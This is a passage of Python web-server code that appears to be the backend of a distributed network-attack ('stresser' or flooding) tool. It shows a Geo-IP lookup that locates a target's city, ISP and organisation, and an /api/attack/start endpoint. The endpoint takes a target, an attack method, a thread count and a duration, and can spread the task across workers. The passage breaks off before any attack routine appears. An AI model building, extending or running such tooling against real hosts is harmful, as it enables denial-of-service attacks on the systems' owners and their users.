if data.get("success"):
return {
"status": "success",
"lat": data.get("latitude"),
"lon": data.get("longitude"),
"country": data.get("country"),
"city": data.get("city"),
"isp": data.get("isp"),
"org": data.get("org"),
"ip": data.get("ip")
}
return {"status": "error", "message": "Failed to retrieve Geo-IP data."}
except Exception as e:
return {"status": "error", "message": str(e)}
@app.post("/api/attack/start", response_model=StatusResponse)
async def start_attack(params: AttackParams) -> StatusResponse:
if len(state.active_tasks) >= state.max_concurrent:
return StatusResponse(status="error", message=f"Maximum concurrent tasks ({state.max_concurrent}) reached. Stop a task first.")
task_id = str(uuid.uuid4())[:8]
# Store initial info
state.task_info[task_id] = {
"target": params.target,
"method": params.method,
"threads": params.threads,
"duration": params.duration,
"start_time": time.time()
}
if params.distribute_to_workers:
params_dict = params.model_dump()
now = time.time()